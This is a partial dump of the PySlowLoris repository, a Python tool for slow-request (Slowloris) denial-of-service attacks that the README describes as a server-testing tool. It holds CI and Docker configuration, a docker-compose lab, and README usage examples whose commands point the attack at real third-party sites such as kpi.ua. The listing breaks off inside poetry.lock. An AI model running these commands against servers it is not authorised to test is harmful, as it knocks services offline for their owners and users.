├── .dockerignore ├── .flake8 ├── .github ├── CODEOWNERS ├── dependabot.yml ├── pull_request_template.md └── workflows │ ├── publish_package.yml │ └── pull_request.yml ├── .gitignore ├── CODE_OF_CONDUCT.md ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── docker-compose.yml ├── httpd_test ├── Dockerfile ├── README.md └── index.html ├── poetry.lock ├── pyproject.toml ├── pyslowloris ├── __init__.py ├── __main__.py ├── attack.py ├── connection.py ├── exceptions.py ├── logger.py ├── uri_info.py └── utils.py └── tests ├── __init__.py ├── test_slowloris.py └── test_url_info.py /.dockerignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | 91 | ### JetBrains ### 92 | .idea/ 93 | 94 | ### Logs ### 95 | logs/ 96 | 97 | SlowLoris.egg-info/ 98 | 99 | ### Docker ### 100 | .git 101 | .github 102 | tests/ 103 | Dockerfile 104 | .gitignore 105 | -------------------------------------------------------------------------------- /.flake8: -------------------------------------------------------------------------------- 1 | [flake8] 2 | ignore = D203 3 | exclude = 4 | .git, 5 | __pycache__, 6 | docs/source/conf.py, 7 | old, 8 | build, 9 | dist 10 | max-complexity = 10 11 | per-file-ignores = 12 | # imported but unused 13 | __init__.py: F401 -------------------------------------------------------------------------------- /.github/CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @maxkrivich 2 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: "pip" 4 | directory: "/" 5 | schedule: 6 | interval: "monthly" 7 | open-pull-requests-limit: 5 8 | groups: 9 | python-packages: 10 | patterns: 11 | - "*" 12 | -------------------------------------------------------------------------------- /.github/pull_request_template.md: -------------------------------------------------------------------------------- 1 | **Description:** 2 | Describe your changes. 3 | 4 | **Related issue:** 5 | Add link to the related issue. 6 | 7 | **Check list:** 8 | 9 | - [ ] Mark if documentation changes are required. 10 | - [ ] Mark if tests were added or updated to cover the changes. 11 | -------------------------------------------------------------------------------- /.github/workflows/publish_package.yml: -------------------------------------------------------------------------------- 1 | name: Upload Python Package 2 | 3 | on: 4 | release: 5 | types: [published] 6 | 7 | jobs: 8 | deploy: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - uses: actions/checkout@v3 12 | - name: Set up Python 13 | uses: actions/setup-python@v4 14 | with: 15 | python-version: "3.x" 16 | - name: Install dependencies 17 | run: | 18 | python -m pip install --upgrade pip 19 | pip install poetry 20 | - name: Configure poetry 21 | run: poetry config pypi-token.pypi "${{ secrets.PYPI_API_KEY }}" 22 | - name: Publish package 23 | run: poetry publish --build 24 | -------------------------------------------------------------------------------- /.github/workflows/pull_request.yml: -------------------------------------------------------------------------------- 1 | name: Pull request checks 2 | 3 | on: 4 | push: 5 | branches: [master] 6 | pull_request: 7 | 8 | permissions: 9 | contents: write 10 | pull-requests: write 11 | 12 | jobs: 13 | build: 14 | runs-on: ${{ matrix.os }} 15 | strategy: 16 | fail-fast: false 17 | matrix: 18 | os: [ubuntu-latest] #, macos-latest] 19 | python-version: ["3.11"] #, "3.9", "3.10", "3.11"] 20 | steps: 21 | - uses: actions/checkout@v3 22 | - name: Set up Python ${{ matrix.python-version }} 23 | uses: actions/setup-python@v4 24 | with: 25 | python-version: ${{ matrix.python-version }} 26 | - name: Install dependencies 27 | run: | 28 | python -m pip install --upgrade pip 29 | pip install poetry 30 | poetry config virtualenvs.create false 31 | poetry install -vv 32 | - name: Lint with flake8 33 | run: | 34 | poetry run flake8 pyslowloris 35 | - name: Test with pytest 36 | env: 37 | GITHUB_ACTIONS: true 38 | run: | 39 | poetry run pytest -v 40 | dependabot: 41 | needs: [build] 42 | runs-on: ubuntu-latest 43 | if: ${{ github.actor == 'dependabot[bot]' }} 44 | steps: 45 | - name: automerge 46 | uses: actions/github-script@0.2.0 47 | with: 48 | script: | 49 | github.pullRequests.createReview({ 50 | owner: context.payload.repository.owner.login, 51 | repo: context.payload.repository.name, 52 | pull_number: context.payload.pull_request.number, 53 | event: 'APPROVE' 54 | }) 55 | github.pullRequests.merge({ 56 | owner: context.payload.repository.owner.login, 57 | repo: context.payload.repository.name, 58 | pull_number: context.payload.pull_request.number 59 | }) 60 | github-token: ${{github.token}} 61 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | 91 | ### JetBrains ### 92 | .idea/ 93 | 94 | logs/ 95 | 96 | 97 | SlowLoris.egg-info/ 98 | 99 | .pytest_cache 100 | 101 | .DS_Store 102 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at maxkrivich@gmail.cim. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-alpine as base 2 | ENV PYTHONFAULTHANDLER=1 \ 3 | PYTHONHASHSEED=random \ 4 | PYTHONUNBUFFERED=1 5 | 6 | WORKDIR /app 7 | 8 | FROM base as builder 9 | ENV PIP_DEFAULT_TIMEOUT=100 \ 10 | PIP_DISABLE_PIP_VERSION_CHECK=1 \ 11 | PIP_NO_CACHE_DIR=1 \ 12 | POETRY_VERSION=1.7.1 13 | 14 | RUN apk update && apk upgrade && \ 15 | apk add --no-cache gcc libffi-dev musl-dev postgresql-dev && \ 16 | python -m pip install --upgrade pip && \ 17 | pip install "poetry==$POETRY_VERSION" && \ 18 | python -m venv /venv 19 | 20 | COPY pyproject.toml poetry.lock ./ 21 | RUN poetry export -f requirements.txt | /venv/bin/pip install -r /dev/stdin 22 | 23 | COPY . . 24 | RUN poetry build && /venv/bin/pip install dist/*.whl 25 | 26 | FROM base as final 27 | ENV PATH="/venv/bin:$PATH" 28 | RUN apk update && apk upgrade \ 29 | && apk add --no-cache libffi libpq 30 | COPY --from=builder /venv /venv 31 | ENTRYPOINT [ "slowloris" ] 32 | CMD ["-h"] 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Max Krivich 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | IMAGE_NAME:=pyslowloris 2 | 3 | .PHONY: help 4 | 5 | help: ## This help 6 | @awk 'BEGIN {FS = ":.*?## "} /^[a-zA-Z_-]+:.*?## / {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' $(MAKEFILE_LIST) 7 | 8 | build-docker: ## Build docker image locally 9 | docker build -t $(IMAGE_NAME) . 10 | 11 | run-compose: ## Launch docker compose 12 | docker-compose up --build -d 13 | 14 | stop-compose: ## Stop docker compose 15 | docker-compose down 16 | 17 | setup-poetry: ## Install poetry 18 | pip install poetry 19 | poetry install 20 | 21 | pytest: ## Launch pytest insdie of poetry env 22 | poetry run pytest 23 | 24 | flake8: ## Launch flake8 insdie of poetry env 25 | poetry run flake8 ./pyslowloris 26 | 27 | isort: ## Launch isort insdie of poetry env 28 | poetry run isort -rc ./pyslowloris ./tests 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PySlowLoris 2 | [![Gitter chat](https://badges.gitter.im/gitterHQ/gitter.png)](https://gitter.im/SlowLoris-dev/Lobby) 3 | [![License](https://img.shields.io/badge/license-MIT%20license-orange.svg)](https://github.com/maxkrivich/SlowLoris/blob/master/LICENSE) 4 | [![Python](https://img.shields.io/badge/python-3.8-blue.svg)](https://github.com/maxkrivich/SlowLoris) 5 | [![Build Status](https://travis-ci.org/maxkrivich/SlowLoris.svg?branch=master)](https://travis-ci.org/maxkrivich/SlowLoris) 6 | [![PyPI version](https://badge.fury.io/py/pyslowloris.svg)](https://badge.fury.io/py/pyslowloris) 7 | 8 | PySlowLoris is a tool for testing if your web server is vulnerable to slow-requests kind of attacks. The module is based on python-trio for Asynchronous I/O and poetry for dependency management. The idea behind this approach to create as many connections with a server as possible and keep them alive and send trash headers through the connection. Please DO NOT use this in the real attacks on the servers. 9 | 10 | More information about the attack you can find [here]. 11 | 12 | ### Installation 13 | 14 | #### PyPi 15 | 16 | For installation through the PyPI: 17 | 18 | ```sh 19 | $ pip install pyslowloris==2.0.1 20 | ``` 21 | This method is prefered for installation of the most recent stable release. 22 | 23 | 24 | #### Source-code 25 | 26 | For installation through the source-code for local development: 27 | ```sh 28 | $ git clone https://github.com/[username]/SlowLoris.git 29 | $ cd SlowLoris 30 | $ pip install poetry 31 | $ pyenv install 3.8.3 32 | $ pyenv local 3.8.3 33 | $ poetry env use 3.8.3 34 | ``` 35 | 36 | ### Basic Usage 37 | 38 | Available command list: 39 | 40 | ```sh 41 | $ slowloris --help 42 | usage: slowloris [-h] -u URL [-c CONNECTION_COUNT] [-s] 43 | 44 | Asynchronous Python implementation of SlowLoris attack 45 | 46 | optional arguments: 47 | -h, --help show this help message and exit 48 | -u URL, --url URL Link to a web server (http://google.com) - str 49 | -c CONNECTION_COUNT, --connection-count CONNECTION_COUNT 50 | Count of active connections (default value is 247) - int 51 | -s, --silent Ignore all of the errors [pure attack mode] - bool 52 | ``` 53 | 54 | ### Docker usage 55 | 56 | #### Download image from Docker Hub 57 | 58 | Pull the image from [Docker Hub](https://hub.docker.com/r/maxkrivich/pyslowloris/) and run a container: 59 | 60 | ```bash 61 | $ docker pull maxkrivich/pyslowloris 62 | $ docker run --rm -it maxkrivich/pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT] 63 | ``` 64 | 65 | #### Build image from source-code 66 | 67 | Also you can build image from [Dockerfile](https://github.com/maxkrivich/SlowLoris/blob/master/Dockerfile) and run a container: 68 | 69 | ```bash 70 | $ docker build -t pyslowloris . 71 | $ docker run --rm -it pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT] 72 | ``` 73 | 74 | **Note:** *Don't forget about 'sudo'!* 75 | 76 | 77 | 78 | ### Example of usage 79 | 80 | #### How to use module through Python API 81 | Here is an example of usage 82 | 83 | ```python 84 | from pyslowloris import HostAddress, SlowLorisAttack 85 | 86 | url = HostAddress.from_url("http://kpi.ua") 87 | connections_count = 100 88 | 89 | loris = SlowLorisAttack(url, connections_count, silent=True) 90 | loris.start() 91 | ``` 92 | 93 | #### How to use module via CLI 94 | 95 | The following command helps to use module from command line 96 | 97 | ```sh 98 | $ slowloris -u http://kpi.ua/ -c 100 -s 99 | ``` 100 | ###### stop execution: Ctrl + C 101 | 102 | 103 | 104 | ### Testing 105 | 106 | #### Testing with real apache server 107 | 108 | ```bash 109 | $ docker-compose up web_server -d 110 | $ ..... 111 | ``` 112 | 113 | #### Module-tests 114 | ```bash 115 | $ make pytest 116 | ``` 117 | 118 | ### Bugs, issues and contributing 119 | 120 | If you find [bugs] or have [suggestions] about improving the module, don't hesitate to contact me. 121 | 122 | ### License 123 | 124 | This project is licensed under the MIT License - see the [LICENSE](https://github.com/maxkrivich/SlowLoris/blob/master/LICENSE) file for details 125 | 126 | Copyright (c) 2017-2020 Maxim Krivich 127 | 128 | [here]: 129 | [bugs]: 130 | [suggestions]: 131 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | web_server: 5 | build: ./httpd_test 6 | restart: always 7 | ports: 8 | - 80:80 9 | networks: 10 | vpcbr: 11 | ipv4_address: 10.5.0.5 12 | exploit: 13 | build: . 14 | command: --url http://10.5.0.5/ -c 247 -s 15 | depends_on: 16 | - web_server 17 | networks: 18 | vpcbr: 19 | ipv4_address: 10.5.0.6 20 | 21 | networks: 22 | vpcbr: 23 | driver: bridge 24 | ipam: 25 | config: 26 | - subnet: 10.5.0.0/16 27 | gateway: 10.5.0.1 28 | -------------------------------------------------------------------------------- /httpd_test/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:6.6 2 | RUN yum -y install httpd wget 3 | RUN wget https://demo.borland.com/testsite/stadyn_largepagewithimages.html -O /var/www/html/index.html 4 | EXPOSE 80 5 | ENTRYPOINT ["/usr/sbin/httpd", "-D", "FOREGROUND"] 6 | -------------------------------------------------------------------------------- /httpd_test/README.md: -------------------------------------------------------------------------------- 1 | # Testing 2 | 3 | ```bash 4 | # Run web-server + exploit 5 | $ docker-compose up -d 6 | # Check logs 7 | $ docker-compose exec web_server bash -c "tail -f /var/log/httpd/*log" 8 | ``` -------------------------------------------------------------------------------- /httpd_test/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Slow Loris Test 6 | 7 | 8 |

Hello world!

9 | 10 | -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. 2 | 3 | [[package]] 4 | name = "attrs" 5 | version = "24.2.0" 6 | description = "Classes Without Boilerplate" 7 | optional = false 8 | python-versions = ">=3.7" 9 | groups = ["main", "dev"] 10 | files = [ 11 | {file = "attrs-24.2.0-py3-none-any.whl", hash = "sha256:81921eb96de3191c8258c199618104dd27ac608d9366f5e35d011eae1867ede2"}, 12 | {file = "attrs-24.2.0.tar.gz", hash = "sha256:5cfb1b9148b5b086569baec03f20d7b6bf3bcacc9a42bebf87ffaaca362f6346"}, 13 | ] 14 | 15 | [package.extras] 16 | benchmark = ["cloudpickle ; platform_python_implementation == \"CPython\"", "hypothesis", "mypy (>=1.11.1) ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\"", "pympler", "pytest (>=4.3.0)", "pytest-codspeed", "pytest-mypy-plugins ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\" and python_version < \"3.13\"", "pytest-xdist[psutil]"] 17 | cov = ["cloudpickle ; platform_python_implementation == \"CPython\"", "coverage[toml] (>=5.3)", "hypothesis", "mypy (>=1.11.1) ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\"", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\" and python_version < \"3.13\"", "pytest-xdist[psutil]"] 18 | dev = ["cloudpickle ; platform_python_implementation == \"CPython\"", "hypothesis", "mypy (>=1.11.1) ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\"", "pre-commit", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\" and python_version < \"3.13\"", "pytest-xdist[psutil]"] 19 | docs = ["cogapp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier (<24.7)"] 20 | tests = ["cloudpickle ; platform_python_implementation == \"CPython\"", "hypothesis", "mypy (>=1.11.1) ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\"", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\" and python_version < \"3.13\"", "pytest-xdist[psutil]"] 21 | tests-mypy = ["mypy (>=1.11.1) ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\"", "pytest-mypy-plugins ; platform_python_implementation == \"CPython\" and python_version >= \"3.9\" and python_version < \"3.13\""] 22 | 23 | [[package]] 24 | name = "cffi" 25 | version = "1.17.1" 26 | description = "Foreign Function Interface for Python calling C code." 27 | optional = false 28 | python-versions = ">=3.8" 29 | groups = ["main", "dev"] 30 | markers = "os_name == \"nt\" and implementation_name != \"pypy\"" 31 | files = [ 32 | {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, 33 | {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, 34 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, 35 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, 36 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, 37 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, 38 | {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, 39 | {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, 40 | {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, 41 | {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, 42 | {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, 43 | {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, 44 | {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, 45 | {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, 46 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, 47 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, 48 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, 49 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, 50 | {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, 51 | {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, 52 | {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, 53 | {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, 54 | {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, 55 | {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, 56 | {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, 57 | {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, 58 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, 59 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, 60 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, 61 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, 62 | {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, 63 | {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, 64 | {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, 65 | {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, 66 | {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, 67 | {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, 68 | {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, 69 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, 70 | {file = 